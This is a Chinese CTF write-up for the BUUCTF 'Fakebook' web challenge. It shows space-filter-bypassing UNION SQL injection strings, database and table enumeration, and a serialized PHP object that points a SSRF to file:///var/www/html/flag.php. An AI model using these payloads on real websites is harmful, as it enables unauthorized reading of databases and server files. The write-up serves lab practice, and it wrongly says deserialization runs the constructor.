BUUCTF_Web_[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook

首先随便注册一个账号

注册成功后如下所示

利用dirsearch扫描以下目录，发现了robots.txt

查询后发现了如下信息

再查询user.php.bak，下载其压缩文件，打开后发现一段源码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

分析一下源码

curl_setopt( resource $ch , int $option , mixed $value )：设置curl传输选项，为curl会话句柄设置选项。

参数：

• ch：由 curl_init() 返回的 cURL 句柄。
• option：需要设置的CURLOPT_XXX选项。（CURLOPT_URL：需要获取的 URL 地址，也可以在curl_init()初始化会话的时候。使用CURLOPT_RETURNTRANSFER后总是会返回原生的（Raw）内容。）
• value：将设置在option选项上的值。

curl_getinfo：获取一个cURL连接资源句柄的信息，获取最后一次传输的相关信息。

经过分析可得：

• 注册界面输入的blog经过了isValidBlog（）函数的过滤，不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag。

• get()函数存在ssrf漏洞。

  显然存在ssrf漏洞，并且拼接入我们的url就是我们注册的时候输入的url，但是显然是有waf的，所以我们就不能够直接利用。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。所以思路是，把flag的路径赋给blog，经过一系列操作最后会返回flag.php的内容。

点击hjy进入如下界面

点击进入后，注意到url栏可能存在SQL注入，尝试进行联合查询

先判断列数

?no=1 order by 4# ==>回显正常

再查看回显位

?no=-1 union select 1,2,3,4# ==>提示no hack

尝试修改为下面的注入语句后成功绕过，说明过滤了空格

?no=-1/**/union/**/select/**/1,2,3,4#

由图可知，注入点为2

爆库

?no=-1/**/union/**/select/**/1,database(),3,4# ==>fakebook

爆表

?no=-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from information_schema.tables where table_schema="fakebook"# ==>users

爆字段

?no=-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from information_schema.columns where table_name="users"# ==>no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

爆数据

?no=-1/**/union/**/select/**/1,group_concat(no,username,passwd,data),3,4/**/from users# ==>1hjy4bce187a08dcf53c18ba409f57f62de0842a43ebf4d6450c3f3fea7d92146b466a2e89d9660f6e8ecdc15773c9735dbb02247225bca7d07f6c3567ea9d26534fO:8:"UserInfo":3:{s:4:"name";s:3:"hjy";s:3:"age";i:19;s:4:"blog";s:61:"https://blog.csdn.net/weixin_52250313?spm=1000.2115.3001.5343";} 

得到自己刚刚注册信息的序列化值，并且发现爆出路径：/var/www/html/。结合之前网页源码，判断是要传参(getBlogContents)以后网站反序列化，返回flag的值。

接下来利用ssrf漏洞，可以利用的变量在构造函数中，反序列化对象会自动执行构造函数。所以我们编写脚本，将需要构造的ssrf放在blog属性中，让其在反序列化时被调用。看到data中存的是反序列化数据，然后尝试利用ssrf漏洞读取flag.php。于是构造序列化的内容，里面要读取文件得使用file协议，基本的格式如： file:///文件路径

编写脚本

<?php

class UserInfo
{
    public $name = "he";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";

}
$a = new UserInfo();
echo serialize($a);

?>

序列化后的结果为：

O:8:"UserInfo":3:{s:4:"name";s:2:"he";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

因为blog在第四位，所以paylaod:

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"he";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

，所以paylaod:

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"he";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

打开网页后查看源码，访问源码最下面的链接即可得到flag